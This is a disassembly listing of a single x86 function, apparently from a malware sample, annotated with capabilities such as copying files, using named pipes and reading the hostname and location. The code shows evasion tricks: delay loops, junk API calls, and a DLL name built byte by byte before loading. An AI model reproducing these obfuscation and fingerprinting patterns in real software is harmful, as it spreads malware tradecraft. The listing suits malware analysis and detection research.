Function at 0x404b70
Capabilities:
Copy file
Create pipe
Get common file path
Get geographical location
Get hostname
Read pipe
Write pipe

Disassembly:
mov eax, 0x1564
call fcn.00407b70
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push ebp
mov ebp, dword [esp + 8]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetMenuBarInfo]
xor esi, esi
cmp esi, 0x1e3bd
jge 0x404ba6
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
cmp esi, 0x1ea07d0f
jle 0x404bc0
cmp ebp, 0xacef98
je 0x404bc0
cmp dword [esp + 0x3c], 0xad6910c
jne 0x404bc9
inc esi
cmp esi, 0x8df05308
jb 0x404b90
mov eax, 0x38d6
add dword [0x577944], eax
call fcn.00404b50
mov esi, dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
mov edi, dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
mov ebp, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov eax, dword [0x577944]
mov dword [esp + 0x10], 0x962a66
mov edi, edi
cmp eax, 3
jne 0x404c17
lea eax, [esp + 0x58]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x577944]
cmp eax, 0x71f
jne 0x404c5b
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
lea ecx, [esp + 0x464]
push ecx
call edi
push 0
push 0
push 0
push 0
call esi
push 0
lea edx, [esp + 0x5c]
push edx
push 0x401328
call ebx
push 0
push 0
call ebp
mov eax, dword [0x577944]
dec dword [esp + 0x10]
jne 0x404c00
xor esi, esi
test eax, eax
je 0x404cae
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
mov ebp, dword [sym.imp.KERNEL32.dll_AddRefActCtx]
lea esp, [esp]
cmp eax, 0xfe
jne 0x404c9e
push 0
lea eax, [esp + 0x5c]
push eax
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call ebp
push esi
call fcn.00404570
mov eax, dword [0x577944]
inc esi
cmp esi, eax
jb 0x404c80
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp eax, 0x19c
jne 0x404dbd
mov esi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
call esi
lea ecx, [esp + 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0x401378
push 0
call dword [sym.imp.KERNEL32.dll__hwrite]
xor eax, eax
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x14]
push eax
push 0
lea ecx, [esp + 0x64]
push ecx
push 0
push 0
push 0
mov dword [esp + 0x30], 0
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceLanguagesW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea edx, [esp + 0x28]
push edx
lea eax, [esp + 0xd78]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
lea ecx, [esp + 0x578]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
call edi
push 0x40124c
push 0x4013c4
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
push 0
lea edx, [esp + 0x30]
push edx
call fcn.004039f0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0
call esi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0x44b588
call edi
mov dword [0x577940], eax
mov byte [0x44b588], 0
call fcn.00404700
mov eax, dword [0x577944]
mov ecx, dword [0x5746d8]
push 0x449fb8
push eax
push ecx
call fcn.00404540
mov edi, dword [sym.imp.KERNEL32.dll_LocalFlags]
xor esi, esi
push 0
call edi
cmp esi, 0x2f64
jne 0x404e05
call fcn.004046e0
inc esi
cmp esi, 0x46d9a
jl 0x404df4
mov esi, dword [sym.imp.KERNEL32.dll_WritePrivateProfileSectionA]
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteProfileStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProfileSectionW]
mov dword [esp + 0x10], 0xdd7b3
mov edi, edi
cmp dword [0x577944], 0x21
jne 0x404e67
push 0
push 0
push 0
call esi
push 0
push 0
lea edx, [esp + 0x57c]
push edx
push 0
call edi
push 0
push 0
push 0
call ebp
push 0
lea eax, [esp + 0xd78]
push eax
push 0
call ebx
dec dword [esp + 0x10]
jne 0x404e30
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov cl, 0x6d
push 0x44b588
mov dword [0x44b589], 0x676d6973
mov word [0x44b591], 0x6c6c
mov byte [0x44b593], 0
mov byte [0x44b588], cl
mov dword [0x44b58d], 0x642e3233
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0x1ef75
call edi
dec esi
jne 0x404eb1
cmp dword [0x577944], 0x58c
jne 0x404f10
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x4013e0
call ebx
push esi
lea ecx, [esp + 0xd78]
push ecx
push 0x401400
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push esi
lea edx, [esp + 0x578]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
call fcn.004046d0
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x1564
ret